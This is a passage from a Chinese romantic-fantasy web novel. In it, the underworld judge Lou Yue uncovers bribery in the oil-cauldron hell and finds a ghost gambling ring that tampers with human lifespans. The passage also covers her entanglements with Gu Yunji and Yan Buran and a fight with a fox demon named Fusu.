巨大铜釜中,罪魂在金色油浪里沉浮惨叫,皮肉绽开如焦黑的花。
楼月饶是近些日子判了不少恶鬼,但是却是第一次亲眼看到醒醒,不免指节却微微泛白。
恶鬼甫一来到油锅地狱,便凄厉地叫喊起来:“别!别!我是无辜的————”
楼月看他一眼,只见他面上带着强烈的不甘。
油锅地狱这一层的鬼差躬身行礼,她微微颔首:“刑官何在?”
很快,负责第九层的刑官钟釜上前行礼。
楼月示意着被牛头马面牵着的恶鬼:“恶鬼刘氏,油锅地狱一劫。”
钟釜曰是,正要上前提人。
楼月面带几分嘲弄与讥讽,看着恶鬼。
钟釜提起刘氏,将他往那铜釜里扔。
刘氏挣扎地极为厉害,终于在即将被丢下去的时候,大喊大叫起来。
几乎是在瞬间,楼月便勾起了唇角。
“阴差!咱们不是说好的吗!!!我让亲人捐一万两下来,免我刑罚!!!”
楼月:“慢。”
刘氏仍然极为惊恐地说:“我刚下地狱的时候,便有人告诉我,交一万两,便可以免受刑罚!我梦也托了,钱也交了!怎么,现在钱收了,翻脸不认人了?!”
楼月笑着,一下一下鼓起掌来,啪、啪、啪。
钟釜脸色极为难看,看向刘氏,又猛地抬头看向楼月:“判官大人!绝无此事,钟某若是收受了贿赂,我立刻灰飞烟灭!”
楼月笑:“作为刑官,钟大人自是不会了,只是手下之人,可不一定了。”
语罢,她眼神颇有几分思索,扫过在场的阴差。
钟釜的脸色也极为难看。
但凡是有些政治嗅觉的,都能感受到酆都大帝心怀大志,大有治理好鬼界的决心。
钟釜管理的油锅地狱在这种时候出了这等纰漏,当真是在太岁头上动土了!
钟釜冷笑一声:“谁干的?站出来,否则我揪出来,十八层地狱,一层一层过。”
楼月冷冷扫视着周围。
一个矮小的鬼差举起了手:“判官大人!我有线索!
楼月:“哦?什么?”
那小鬼鬼差步步上前,到了楼月面前,矮小又浑身皱皱巴巴,看着颇有几分可怖。
“小人前些日子看到一位鬼差行迹可疑,只是现在人众多,在下不好透露,能否……”
楼月垂眸。
这实在是太像个陷阱了。
她是二十二岁死的没错,但是她不是傻逼。
楼月嗯了一声,笑吟吟开了血鬼域。
血鬼域,照例只能在判官殿里展开。但是楼月受了酆都大帝许可,因此得了在鬼界任意打开血鬼域的权限。
毕竟,想让楼月做刀,不给点权力怎么行呢?
楼月眼中浮现出一点猩红,她背后小月的森然背影出现,顿时第九层地狱阴冷了些,尤其是面前的小鬼,一哆嗦。
楼月:“说吧。”
她俯下身子,小月紧紧跟着自己,几乎与她同时俯下身。
那小鬼嘻嘻道:“你死得好啊。”
楼月瞳孔骤缩!
她开了血邢域,无惧战斗放冷箭。
可唯独,防不过精神上的攻击。
这小鬼也不知从哪得来的消息,竟然朝着她的心窝刺去。
转瞬间,巨大的愤怒袭来,小月几乎是瞬间就死死掐住了那只小鬼的咽喉!
小鬼踢着腿尖叫道:“你是判官便可以动用私刑了吗?!我刚刚告诉你名字了,你为何就是不信呢!莫非你与那人同流合……”
浑身的鬼气极为紊乱地绕在楼月身侧。
为什么,这个小鬼会用自己的死来戳痛自己。
为什么,是因为她不够强大吗。
才让这些人,一个个反复挑衅。
料准了她楼月,坐这位置,坐不久吗?
楼月呵呵冷笑起来,笑得众人俱是起了鸡皮疙瘩。
既然这小鬼用这种话来控诉她,她也见招拆招。
“你竟敢说那人是钟釜大人?好歹毒的心肠!”
钟釜顿时坐不住了!满目愤怒看向小鬼。
小鬼被扼住咽喉,喉中嘶嘶作响,一对眼睛犹如毒蛇般死死缠着楼月。
恐怖地、如同潮水般袭来的回忆让楼月几乎溺毙。
她颤抖着,小月却是愈发用力地掐紧了小鬼的咽喉,她眼中血丝迸发,死死回看着小鬼。
为什么!为什么!为什么!
她已经很努力去修炼了,很努力去争取报仇的机会!可为什么连一只小鬼都能踩着她,肆意讥讽??!!
纷乱的鬼气杂乱到几乎完全包裹住了楼月与小鬼。
楼月眼中渐渐盈满了血泪。
一声叹气,传来。
好似焦灼的干旱中,一束清泉涌入。
面前混乱不堪的鬼气中,一人浅浅走近。
但是楼月完全陷入了错乱癫狂中,她甚至操控者小月,要对小鬼最后致命一击!
下一秒,她入了一个温暖的怀抱里。
来人身上有着清浅的松竹气息,温雅沉静。
“别难过了,有我。”
如风敲竹般的嗓音,在一片浓稠的绝望与死气中,生生破开一条光路。
他牵着自己,顺着那条光路缓缓地走。
楼月有些畏惧,虽然他身上满是清辉,但是她仍然游疑着那些恐惧,会不会复现。
那人微笑,却看不清面容。
楼月:“我真的可以相信你吗?”
他:“嗯。”
楼月:“为什么?”
他:“你永远可以相信我。”
他这句承诺分明犹如纸上谈兵,但是莫名好像含着千钧之重。
好像,不仅仅是情感上,他愿意带她出去,还有几分斩不断的,链接与联系。
可是她不知道,自己和谁会有这种奇妙的关系?
她略迟疑,在一片黑暗中,牵住了那满是光芒之人的手。
楼月睁开了眼。
眼前是顾云霁那对清浅的眸子。
她在顾云霁怀里。
顾云霁:“好好休息一下吧。”
楼月的意识越来越模糊,只余他满面温柔。她渐渐晕在了顾云霁怀里。
余下的最后一点点意识……
顾云霁面上的温柔近散,他面上恢复了一潭死水般的沉静,看向刑官与一众小鬼,尤其看向了那只矮小小鬼。
众人顿时哆
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哆嗦嗦。
顾云霁轻笑:“贪墨横行,攻击判官?第九层地狱当真是人才济济啊。”
钟釜磕头如捣蒜:“日游神大人……这实乃是手下之人顽劣不经,还容在下好好查办此事,必当给判官大人和日游神大人一个交代!!”
“交代?”他声音依旧温和,说出的话却毫不留情。
“钟刑官,你既掌此狱刑罚,当知连坐二字,在阴律中亦是常例。”
他略抬指尖,璀璨夺目的日辉自他袖中流出,在空中凝成一道金色令牌。
“见此令,如日游神亲临。自此刻起,第九层地狱所有人等,皆不得离半步。”
四周浮现出十余道身影,日巡卫瞬间便扼守住了所有出入口与关键位置,将整层地狱置于控制之下。
顾云霁的目光缓缓扫过噤若寒蝉的众鬼差,最后落在那只瘫软在地的矮小鬼差身上。
“既能刺探判官私隐,又能巧言构陷,背后想必不止一人。日巡卫自有手段,让你将知道的、不知道的,都想起来。”
他抱着昏睡的楼月,转身欲走,又微微侧首,留下一句:
“钟刑官,你所掌管的地狱出了问题,好自为之。”
语罢,他抱着楼月的身影渐渐化为一道清辉,消失在原地,只留下满层死寂。
*
顾云霁看向床榻上蹙着眉头的楼月。
她面容还是有着几分痛苦与挣扎。
顾云霁垂眸,凝了些法力试图从她的脉传给她。
他的法力至阳至纯,有一定的驱除邪障的作用。
那股温暖的法力,慢慢渡入了楼月的身体里,她很快嗯了一声,颇为舒适的样子。
顾云霁眸中深色幽深。
早就在楼月偶然表现出异常的时候,他便去了解了她的生前经历。
他诧异于楼月来自于千年之后的同时,也暗叹其死状之惨烈。
纵使他身为日游神,监察三界,恶劣之事见的不在少数,但他一想到楼月也经历了这些惨无人道之事,便不免多生了几分怜惜。
楼月忽然瑟缩了一下。
“冷……”
顾云霁试图多输了些法力,却发觉楼月还是浑身颤抖。
甚至于,她浑身颤抖起来,鬼气再次紊乱起来。
顾云霁叹了一口气,坐于床榻边,将她扶起,靠在了自己的怀里。
毫无意识的她,甫一接触到他温暖的体温,便如沉溺般,贴近了他的胸膛。
甚至于,还蹭了蹭。
她紧紧环住了顾云霁,甚至于双腿也紧紧贴住了顾云霁的腰。
顾云霁知道自己此番有多么的荒诞不经,但是他实在是无法忍心,看着楼月受难受苦。
或许是她明艳的双眸看他的时候总是带着几分雀跃,或许又是她修炼法力时流露出来的倔强让他想起了自己,或许又是……
他的私心如此。
她已然是鬼,自然是浑身冰冷。
她只是暂时需要自己。
她实在是惹人怜惜。
他半是安抚地,轻轻抚摸着她的头,一下一下。
却忽然听闻门外脚步声。
顾云霁抬头看去,只见一个身影愈走愈近。
直到叩叩敲门声传来:“楼月?你怎么了?”
晏不染。
顾云霁面容平静,看着怀里沉沉睡去的楼月,毫无慌张。
9. 背着我,和顾云霁厮混?
门外晏不染的声音有些焦急:“你怎么了?没事吧?”
晏不染咬牙,破门而入。
他看到床边,正一下一下轻拍着楼月的顾云霁。
只一眼,他目眦欲裂。
晏不染满眼是不可置信:“顾云霁?”
“你把她怎么样了!你为什么会在这里?!”
顾云霁微微蹙眉:“她不舒服,你别在这里大呼小叫的。”
晏不染:?
晏不染咬牙:“你和她什么关系?我竟然不知道你们还有这种勾当?”
顾云霁微微瞥了晏不染一样,眼神中尽是寒凉。
“勾当?她拜我为师,我教她法术罢了。恰巧方才得知她身体有恙,才来照拂一二。”
晏不染气极反笑:“教她法术,教到怀里去了?”
顾云霁不再看他:“你想多了,你去吧,她现在不舒服,我一个人照顾即可。”
这时,楼月悠悠转醒。
她眉头微蹙,一对剪水双瞳雾气氤氲,无辜清澈地看向眼前一张俊美无俦的面容。
“顾云霁……?唔,师父。”
顾云霁纤长如鸦羽的睫毛垂下,眼中尽是温柔:“好些没?刚才你似乎魇着了。”
楼月还有些迷糊,意犹未尽地蹭了蹭他满是竹香的胸膛:“嗯……”
蹭着蹭着,她猛地意识到自己在干什么。
然后猛地直起身来,发现自己竟然盘着顾云霁。
眼前是他清亮的琉璃双瞳,照着满面绯红的她。
顾云霁失笑:“清醒了?”
她立刻如同被烫到般向后退去,双手逃也似的抓着床单便往一侧逃去,谁知紧张间双腿却更加夹紧了顾云霁紧实而细窄的腰。
她太慌张,以至于安然坐在床榻边上的顾云霁,都被她扯动了一两存。
她愈发羞愧欲死,松开双腿时整个人却瞬间失去了平衡,以为自己要后脑着床。
却意外地,脑下被一只手给牢牢接住,瞬间她撞进了一对漆黑中闪着幽蓝的眼睛。
晏不染咬牙:“楼月,你手段不少啊。”
楼月眨了眨眼。
她怀疑自己是不是在做梦,不然为什么醒来的时候,会那么的玄幻。
她试图再闭眼,却感受到脑下的手抽去,她的头轻微地磕在了床上。
她迟疑着从床上爬起,却见床边站着的晏不染,自上而下冷冷看着她。
晏不染:“背着我,和顾云霁厮混?你好大的本事。”
楼月顿时觉得极为荒谬。
为什么晏不染,会以一种正宫的口吻来质问她??
她似乎和晏不染没什么关系吧!
真是好生奇怪!
楼月反唇相讥:“你管我?顾云霁是我师父,带我修炼不是正常?”
晏不染咬牙:“修炼?师父?我之前和你说的你忘了?为什么不找我,让我教你?!”
楼月冷哼一声:“我就是不想找你!行不行!我就是厌恶你!”
晏不染气得眼中幽蓝更甚。
顾云霁也站起身来:“好些了么?要是没事,我和不染就先回去了,不打扰你休息了。”
楼月点头:“我没事,只是之前我在地狱里……”
顾云霁温言道:“放心吧,我已派人前去监察,你若不放心,也可以前去审问,这件事必然会给一个说法。”
楼月点点头。
这是她答应酆都大帝的,肃清鬼界。
那就要先从她的上下游着手。
顾云霁督了一眼晏不染:“走吧,你公务完成了?”
晏不染冷冷看楼月和顾云霁一眼,冷哼而去。
*
今日休沐。
楼月出了府里后,换了身衣服四处乱逛,众鬼见她之明艳俏丽,道路以目。
楼月也不在意,她早就习惯了别人的目光。
走着走着,她来到了黄泉路。
黄泉路极长,一路虽有鬼共行,但还是有些冗长。
好在有漫天遍野的曼珠沙华,红艳艳如血。这番景致,哪怕在人间也是少见的。
赏着赏着,她来到了奈何桥。
奈何桥边,便是孟婆,裴昭。
鬼界之人,谁人不知谁人不晓,孟婆裴昭乃是出了名的老好人,遇到谁都能说两句,人见人爱,花见花开。
楼月好奇走近,只见裴昭正懒懒躺在椅上,看着一本书。
奇哉奇哉,寻常之鬼哪有死了还读书的!
她站得远,但又好奇,努力去看那书到底是什么书。
却意外见裴昭取了书下来,对上了眼神。
楼月顿时有种被人发现的尴尬:“裴昭,好久不见啊。”
裴昭一愣,很快绽出一抹明媚的微笑,眉间一点朱砂痣风流万千:“好久不见,今日楼大人来,我这儿可真是蓬荜生辉啊!”
不愧是裴昭,就是热络。
楼月隐约记得她二人并无多少交集,结果裴昭如此热情,当真是让人如沐春风。
楼月笑:“哪有,我今儿个就是随便逛逛。”
裴昭邀请她坐在一旁的石桌椅上,为她倒了些茶。
楼月浅笑:“何必客气?”
裴昭:“什么客气,我才没和你客气,尝尝人间新贡的蜜香金骏眉。”
他动作行云流水,上好的青白瓷杯中便呈现出蜜色的茶水,兰香浓郁。
楼月看着那茶水,思路却是有些飘远了。
她已经许久不曾去寻一些满足味觉之物了,因为化而为鬼,其实饮食并无必要,只是图一个味觉嗅觉而已。
但没想到,裴昭竟然如此有闲情雅兴。
楼月笑着拿起茶杯:“你倒是有雅兴。”
裴昭道:“鬼界的日子虽是无趣,但也要自个儿给自个儿找些东西打发时间嘛,是不是?”
楼月笑,觉得裴昭当真是个极有意思之人。
她饮茶,却忽闻脚步声传来。
裴昭满心苦恼得啊了一声,抬头一看,却又是放松下来。
楼月回头看去,竟是宋岚和苏清瑶,手中捧着卷宗送来。
他们甫一看到楼月,眼中带着些惊讶,但还是不得不上前。
楼月只扫了一眼,便知道这些卷宗是自己审过的案子。既然送到了裴昭这里,想必阎王已经审核过了。
裴昭淡淡颔首:“好,放在一旁吧,我待会儿看。”
二人放下卷宗,苏清瑶看着楼月和自己上司的上司正惬意喝茶,不免眼中流露出几分艳羡。
什么时候,她才能坐到这么高的位置?
她要努力,苏清瑶紧了紧身边的拳。
楼月与苏清瑶对视一眼,笑了一下,便当是打过招呼了,便继续与裴昭闲聊起来。
“你看的是什么书?老远就看到了,我可好奇呢。”
裴昭顿时面色一红。
他下意识想把那本书放入自己袖中,却意外一阵风过,将那本书翻了个个儿,原本藏在底下的正面露了出来。
《追女生三百式,你与恋爱只差这一本书》
楼月:……
她抿紧了嘴唇,却又实在有些憋不住。
她本以为,只有现代人偶尔上头了,才会看这种书。
却不成想,这裴昭哪怕化而为鬼,竟然还进修此等技能……
裴昭顿时满面无措,恨不能钻到地里去:“不是!你听我解释……这,我是替我朋友看的!”
楼月满面微笑,连连点头。
不成想,人人尽知的风流公子,竟然还要进修这等技能。
当真是,惊天大瓜啊……
裴昭满心无语。
他总不能说,自己看这本书,是为了之后蒙骗北斗仙君摇光吧?
……
他清了清嗓子:“楼大人来鬼界也有一
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月有余了吧?感觉如何?”
这话题转得有些尴尬。
楼月笑:“挺好的,就是感觉有挺多漏洞的。”
听闻此言,裴昭也是认真起来。
虽然他看起来荒诞不经,但实际上,他是最会看风向的。
一把手往东,他绝不往西。
裴昭:“是了,什么时候鬼界才能并肩天界?”
楼月笑:“或许就在我们这一代呢?”
裴昭笑,以为她是在说笑。
楼月低垂双眼,桃花眼中眼波流转:“裴大人若之后有什么发现的,可以和我说。”
裴昭微微睁大了眼睛。
楼月这话……?
他几乎是在瞬间,便明白了楼月所指。
如果不是酆都大帝授意,楼月绝不可能说这句话。
裴昭眼中略过一丝了然,笑着点点头。
楼月又草草与裴昭聊了几句后,道别而去。
裴昭面带几分深思,看向她离开的脚步,暗叹其深受重用,前途不可限量。
*
酆都城,背面深处。
楼月之所以来到这里,是因为它乃是人尽皆知的销金窟。
楼月微微思量,便给自己易了容,踏进了这里。
只见逐渐荒芜的城郊,一条从天悬降的星河穿过。
这条河,便是魂河。
最为有意思的是这条河里,会飘着一盏盏莲花灯。
而一盏莲花灯,就对应着人间的一个人。
所以,鬼怪们时常聚集到一起,去押宝这人能活多久。
楼月化身为了一个佝偻的老太太,穿着一袭有些破旧的长袍。
她慢悠悠走到一只小鬼面前:“请问,去哪里押宝?”
那小鬼瞧她一眼,指了个方向。
楼月前去,一个光头大汉鬼瞥她一眼,对着河流随意一指:“押哪个?不押别浪费时间。”
楼月:“哪个人被押得最多?”
那大汉再度打量了楼月一番:“老太婆,我警告你,我这里押宝用功德,不退。”
功德?
楼月每月的俸禄,便有一万功德。
楼月点点头:“要多少功德才能押宝?”
“一百起押。”
楼月颤巍巍掏出功德银币,数了十个递给汉子。
汉子笑:“那人年已四十八,大多数人押宝五十五,你押几岁?”
楼月木讷:“那我押四十九。”
汉子兀自摇头,心叹又来了个送功德的。
正当楼月收下收据之时,忽然感受到身后有一道过于明显的目光,死死盯着她。
楼月颤巍巍回头,务必保证自己每一丝动作都拟态求真。
却在看到来人时,还是忍不住愣了一下。
晏不染微微眯着双眼,双手抱臂,好整以暇地蹲着看着她。
“啊,喜欢装作老太太啊?”
他唇角勾起一丝戏谑,楼月想抽抽唇角,立刻回头逃跑——
却一下子被他捞起,懒懒道:“想去哪啊?老太太?”
楼月木讷道:“你放我下来……我不认识你。”
晏不染噗嗤一声笑出来,抓着楼月好像抓小鸡仔一样,晃荡晃荡,那张票据便掉了下来。
楼月恼怒至极,咬着牙:“你别太过分了!”
晏不染笑着学着她的口气一个字一个字咬:“嗯,别-太-过-分-了,楼大人,这句话是你的专属吗?”
楼月百口莫辩,气结,想用脚去踢晏不染,却因为化作的老太太腿太短,完全够不着。
晏不染轻笑,夺过那张票据便看起来。
“咦?我们正义凛然的楼大人,还参与赌博啊?当真是让晏某大开眼界了!不得了!”
楼月正想抢过票据,脑中却灵光一动。
“晏不染,这票据上的是谁?为什么大家都押他?”
10. 引诱
晏不染提着楼月,好整以暇。
“没听清,再说一遍。”
楼月嘴角一抽,重复了一遍。
“你叫我什么?求人办事,就直呼其名?”
晏不染那双幽蓝的双眼直直对上楼月有些慌张地眼睛。
楼月木讷:“那要怎么叫?”
天老爷,为什么晏不染这么难对付!
也是,她又不是第一天知道,晏不染简直就是一个三界都头疼的魔丸。
“叫哥哥,晏哥哥。”晏不染唇角勾起。
楼月:?
她原本扑腾的四肢顿时顿住了,她简直起了一身的鸡皮疙瘩,一激灵之下甚至连老奶奶的变身术都维持不住了,气得她恢复了原身。
楼月:“你又何必如此小气!直接告诉我不行吗?”
晏不染笑着将她放下,凌厉的双眼一眨不眨地看着楼月。
楼月咬唇。
与生俱来的敏锐告诉她,或许这赌命背后有什么暗藏的秘密。
她心一横,说到底,她身为判官,搞事业才是最重要的。
“晏哥哥。”
楼月如蝶翼般扑朔的睫毛微微颤动,她双眸半抬不抬,有些怯懦地抬了头。
晏不染瞳孔微缩。
楼月本就生得娇艳之际,宛若带着鲜露的花朵,璀璨明艳,如今略显矫揉造作,却愈发显得楚楚动人。
晏不染眸色一深:“呵,走吧。”
下一秒,他有力的小臂搂住楼月,带着楼月乘风而起。
顾云霁带她飞起时,感受到的是一股清逸之气。
晏不染的身边,却带了几分凌厉与凛冽。
他眉头微微皱着看向下方的区位,随即将目光投向远方。
楼月被他紧紧搂在怀里,她觉得自己该挣扎一下的。
可是她还没学御风。
楼月:“你又干什么?”
晏不染低头督她一眼,兀自笑着不答。
楼月微微恼了,也不理他。
谁知,他们二人越飞越高了。
楼月有些晕乎看着地上变成一个点的鬼都,终于发觉了不对劲:“你想带我去哪?”
“人间啊。”
楼月睁大了眼睛,人间?
她自从化而为鬼,她从没去过人间!
她有些战栗,不知是被风吹得还是兴奋得:“我……真的可以去人间吗?”
“嗯。”
明月高百尺,如今她却好似触手便可以摸到。
楼月面上满是新奇与喜悦,明艳的桃花眼中,尽是碎光。
“嗤,真是小女孩儿。”
晏不染这句话说出来的时候,楼月脸上的笑容又拉了下来。
晏不染好像有种魔力,每次她刚刚有点高兴,他一下子就能让她不高兴。
楼月恨恨瞪了他一眼,却见他鸦羽般的眼睫中,尽是宠溺。
楼月愣住了。
晏不染也顿觉不妥,微微侧过头去,不再言语。
二人终于飞到了鬼界的最高空。
这里连云都没有了,只剩下沉寂、望不到边际的夜空。
晏不染低头:“怕不怕我把你丢下去?”
楼月死死抱着晏不染一只胳膊:“那你就等着这只胳膊被我拽掉下来吧!”
晏不染失笑。
“用手,去摸上面那层边界。”
经过他的提醒,楼月才意识到,此刻二人头顶竟然真的有一层难以察觉的边界。
那层边界似乎扭曲了时空,仔细去看,天空都有一丝丝割裂。
楼月试图伸手去摸。
然而,晏不染太高了,足足高了她一个半头,以至于她伸出手也只能够到晏不染的头顶,更别说是那层边界了。
“小矮人。”
楼月正要瞪他,却忽然腰上一紧。
她竟然被晏不染从腰抱了起来,他的动作太快,以至于失重感很快扰乱了楼月的思绪,让她几乎如树袋熊一般牢牢抱住了晏不染。
此时二人的姿势极为暧昧,楼月双腿盘在他修长的大腿上,双臂环在他肩上,他身上的晚香玉气息,愈发幽然深邃。
更枉论,她与他的面颊靠得极近。
晏不染眼中略过一丝掠夺,抱住楼月实在是太过于轻松,他另一只手就那样伸到了楼月后脑——
他微微靠近。
在这广袤无垠的夜空中,在漫天星光下,在淡淡夜风里。
他漆黑中带着幽蓝的双眸一点一点放大,里面的欲望与掠夺太过明显,明显到她明明知道自己就是猎物,却期待又抗拒得有些战栗。
她微微垂下了双眼。
晏不染在她脑后的手,微微摩挲着她的头发,暧昧至极,只需微微一点力气,就可以将她推向前,推向他的唇畔。
但是他却偏偏停下了。
有些调笑地看向楼月,颤抖的睫毛。
楼月等了许久,却没等到动作,微微抬眼,却看到晏不染唇角的笑意。
她顿时觉得自己被耍了。
她满面羞红。
她顿时挣扎着要从晏不染身上下来,嘴里下一秒就要骂骂咧咧——
晏不染轻笑一声,在她脑后的手一用力:“如你所愿,楼大人。”
下一秒,晏不染烫到让她战栗的唇贴下来,远不似上次那般的疏离试探,他几乎是没给楼月半点喘息空间,狠狠掠夺着她的呼吸。
他的亲吻如同暴风骤雨,让空中本就畏惧的她,愈发不知该如何动作。
楼月觉得自己此刻该愤怒。
但是她愤怒不起来,只觉得一股邪气,从心底窜出来。
被社会规训的条条框框寸寸瓦解,那股叛逆攀援出来,攀援住她的四肢、她的心脏、她的唇齿。
她实在不知道自己是怎么了,为什么会被晏不染引诱。
此刻竟然没有反感,只有刺激与兴奋。
楼月浑身战栗,甚至于被刺激到微微扬起了头,露出纤细洁白宛若天鹅一般的脖颈。
很快,酥麻的战栗从唇齿燃到了脖颈。
密密麻麻的吻,落在了她的脖颈上。
楼月控制不住,嗯了一声,近乎脱力地靠在了晏不染的肩上。
晏不染低低笑了:“怎么?”
楼月不知道该怎么应对,刚才还由身体本能操控,现在却是不知道该如何应答了。
她满脸绯红,掐了掐晏不染的后颈。
晏不染笑着捏起她柔弱无骨、透着些红的手,与他的一起,去触碰到了那层边界。
温暖的白光顿时笼罩了他们,脑中一阵眩晕过去后,他们出现在一座山脚下。
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“还要我抱吗?”
楼月顿时浑身一激灵,跳了下来,满脸通红。
晏不染却是满面自然,好像什么事都没有发生似的,淡定道:“你押的那个人,是如今夏国的尚书。”
那些旖旎顿时散了,楼月听到正事,也严肃起来:“尚书?他们竟然押到了人间高官身上?”
晏不染扫她一眼,摇摇头:“这就高官了?”
楼月有些难以置信:“难道……还有更高的?”
“何止高。”
晏不染兀自走起来,楼月跟在后面,峰回路转,露出面前富丽堂皇的皇城。
楼月顿时屏住了呼吸。
她从未亲眼见过古代的都城,这是第一次见。
“这是夏都,建国两百七十年。”
远处,金砖琉璃瓦,相映成辉,即便是在夜空中,也在皎皎月色下可以看出其富丽堂皇。
皇宫中,星星点点高悬的灯宛若星子,与天上一一对应。
晏不染手臂一挥,法力顿时笼罩住了二人:“走吧,带你去见见世间险恶。”
他们二人隐了身,潜入皇宫。
楼月心中有些忐忑,她隐约觉得,接下来遇到的事情或许会让她惊惧。
皇宫内阁。
晏不染带着她落在了皇宫宫墙琉璃瓦上,示意她看。
只见内阁外,一个中年男子走进去。
她有些讶异:“这便是……谈正?兵部尚书?”
晏不染点头。
她看着谈正面色匆匆,走入内阁,却忽然注意到,内阁大门口,有一团形迹可疑的黑影窝藏着。
谈正踏过门槛,那团黑影却忽然打了一下他的脚腕。
几乎是在瞬间,另外一边出现了一个影子闪过,在谈正即将摔倒的方向给了一个力。
谈正顿时停在原地。
他奇怪地看看自己腿脚,落脚处也没有什么石子,刚才怎么会突然一痛?
楼月漆黑双眼中,鲜红的瞳仁微微缩小。
“看见了?”
楼月难以置信地看向晏不染:“那两团影子是……”
晏不染默然:“你押了宝,也会希望赢的吧?”
楼月浑身冰凉。
也就是说,鬼界的赌人命数因为涉及功德,众鬼皆想捞一笔,所以会干涉人的阳寿?
如果她没有猜错,出手的鬼就是押了他早点死的,那么阻止的鬼应该是押了更晚的。
楼月背后顿时冷汗遍布。
无疑,这是一条极为可怖的利益链条。
她不敢想象,如果任其发展……
不!能让她发现,想必是已经成熟了!可能已经成熟已久了!!!
楼月死死握拳,眼中猩红愈发明艳。
晏不染淡淡看着楼月的愤怒,心中略过一丝异样情绪。
他以为她与众人不一样,于是接近她,又觉得她和众人一样,并无区别。
可现在,诡异的是,他又觉得她特别了。
这可笑的蚍蜉撼树般的冲劲。
他倒要看看,她有多大的本事,能撼多大的树。
他迟早要将她的这些不切实际、可笑的幻想,一一碾碎。
不光是意志,他还要碾碎她的情感。
要让她爱上自己后,再狠狠甩开。
11. 与狐妖签订契约
楼月看着那团黑影,隐去气息,接近。
晏不染饶有兴致,看着她下了城墙走近影子。
不得不说,这些日子楼月修炼颇有成效。
况且,前些日子鬼界一条隐秘消息,酆都大帝似乎有意整治鬼界,叫来了楼月,赐其特权。
他倒要看看,到底是何特权?
是赐下千万修为,直接让她一下从初神五重跳到真神乃至玄神阶段?还是给了什么秘密法宝?
直到晏不染看到楼月使了法力,那初神五重的法力纹丝未动,只是背后露出了判官殿的召唤兽小月——
晏不染再次感叹,酆都大帝简直就是最抠门的上司。
让手下人干活,原来就给了判官殿内召唤兽可以殿外使用的特权?……
下一秒,晏不染突然像是想起了什么,瞳孔骤缩。
糟了!如果仅仅是初神五重,如何能对抗这些黑影!
要知道,这些都是鬼界乃至人间为了操控押宝结果请来的恶鬼,根本不是小小的初神五重可以抵抗的!
然而,就在他刚才乱神的那一瞬间,楼月就和那团黑影共同消失!
楼月瞬间感受到极寒笼罩了全身,黑暗笼罩了她的视野,一股阴凉黏腻的触感笼罩了她的全身——
“鬼……?”那黑影的声音里好像有着无数回音,光是听着就能让人头脑眩晕、精神紊乱。
而且,楼月发现,自己周围的景象变了,变成了妖异的亭台楼阁在不断折叠变化,她现在站的位置很快倾斜到几乎垂直!
楼月咬牙,用法力幻化出一条鞭子缠住周边的一根柱子,几乎是在瞬间她的脚下便落空了。
楼月后背发凉,好险!差一点就掉下去了!
她皱起眉头看了一眼最下方的位置,那里漆黑一片,好像不可见光深邃水域中的一个漩涡。
最为可怕的是,她发现在这个难以描述的地方,自己的法力竟然在逐渐消散!以至于那条鞭子也逐渐孱弱!
她咬牙,试图凝聚更多法力让鞭子更粗,但是鞭子还是出现了裂痕。
极寒到几乎刺骨的风硬生生刮在她的面颊之上,几乎难以睁开眼睛。
“你是……谁?”诡异的声音响起。
楼月咬牙:“你又是谁!”
“你可知,弱者是没有资格提问的?”
下一秒,她的鞭子便被一道看似轻松的黑气割断,甚至于那道黑气还通过法力反噬侵入了楼月的身体,在她几乎法力枯竭的体内乱窜。
但,小月却是忽视法力限制的专属判官的召唤物,瞬间便幻化出来,以黑色身躯为盾,全数罩住了楼月。
周围的恐怖威压终于减弱。
“咦?召唤物?你是……”
“判官?”
楼月勉强在小月的保护下恢复了几分法力,随后冷笑:“我乃,罚恶司判官楼月,如何?”
那声音静默了几秒,随后爆发出近乎癫狂的大笑。
“哈哈哈哈哈区区一个判官,居然胆敢伸手管赌命??你可知哪怕连阎王爷都不敢管赌命!你又算什么?”
楼月冷冷笑起来:“如果说,我就要管呢?”
黑影主人似乎被她激怒了,甚至于在空中幻化出了实体,那是一个长着狐耳的黑发男子,双眸血红,面容上尽是黑色的咒印图案,那图案似乎顺着面颊漫步全身。
他一呼之间便上前,死死给小月的黑影开了个洞,小月发出了嘶吼哀鸣声。
楼月在其中,被一只满是咒印的手死死扼住了脖颈,她毫不怀疑自己下一秒就能被扭断脖子。
那男子冷俊的面颊几乎贴到了楼月面前,他血色眼眸中映着她痛苦挣扎的神色。
不得不说,这个男子生得堪称妖孽,甚至于丝毫不逊于晏不染、顾云霁,尤其是看向他眼睛的时候,头脑宛若被针扎,眩晕疼痛。
楼月深吸一口气,现在她几乎是必死的局面,想要翻盘,必须剑走偏锋。
她想起了自己的技能,只要引发对方情绪波动,就能时空回溯读取回忆的能力。
如果读取了面前这个男子的记忆,或许能够找到他的弱点。
那么现在的首要目标就是找到他心防的弱点。
究竟是什么?道德、能力、外表、手段??
楼月的喉咙被掐得愈发紧了,她毫不怀疑只要再用力一点点,自己的头就会被拧下。
剧烈的疼痛让她几乎无法继续思考,只好试探地说出自己的猜测,冷笑道:
“你这样的……被诅咒的东西,活该万劫不复……”
瞬间,可怖的黑色浓雾厚到空气几乎凝固成了固态,她能感受到巨大的挤压里在瞬间冲向她的心脏!!!!
然而!!她在面前之人瞳孔中划过怒火的瞬间,同时伸手扼住了他的脖子!!!
瞬间,全部负面感受尽数剥去,化为了死寂与平静。
甚至于连原本的失重感也消失,小月调整了一下姿势,让她可以坐在自己的手上。
楼月深呼吸一口气。
竟然真的成功了。
刚才之凶险,她毫不怀疑,哪怕再慢一毫秒,都会立刻灰飞烟灭。
但是,就这一毫秒的差距,现在主动权来到了楼月这里。
楼月冷哼一声,稍稍远离了面前这个狐耳男人,踹了他一脚,似乎还嫌不解气,扇了他两个巴掌。
然,最为诡异的是,这个男人眼珠竟然动了一下。
这一下,让楼月悚然一惊。
她先前可从未碰到过在她的幻域里还能有任何动作的鬼!莫非是因为这个男人法力过强,自己的幻域控制不住?
楼月抹了把冷汗,决心立刻开始读取回忆。
读取回忆,需要触碰到他。
楼月鬼使神差地摸上了那人的耳朵,手感竟然意外地十分柔软,油光水滑。
瞬间,无数画面涌入了她的脑中——
情绪,激烈的、平静的、死灰的……
悲哀,好似深潭之水吞噬躯体,一点点吞没了她。
为什么他会那么悲伤?
原来他的名字叫扶苏,不是人亦然不是鬼,而是【妖】。
动物修炼而来的【妖】。
而回忆碎片的最后一片……
扶苏身着一身白,跪于老者身前,执其一把剑,直截了当捅入老者身体。
而扶苏身后,一个男子怒道:“扶苏!你在干什么!!”
扶苏那时的眼
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眸还是清亮宛若白冰,回过头。
“既然如此!莫怪我手下无情!”
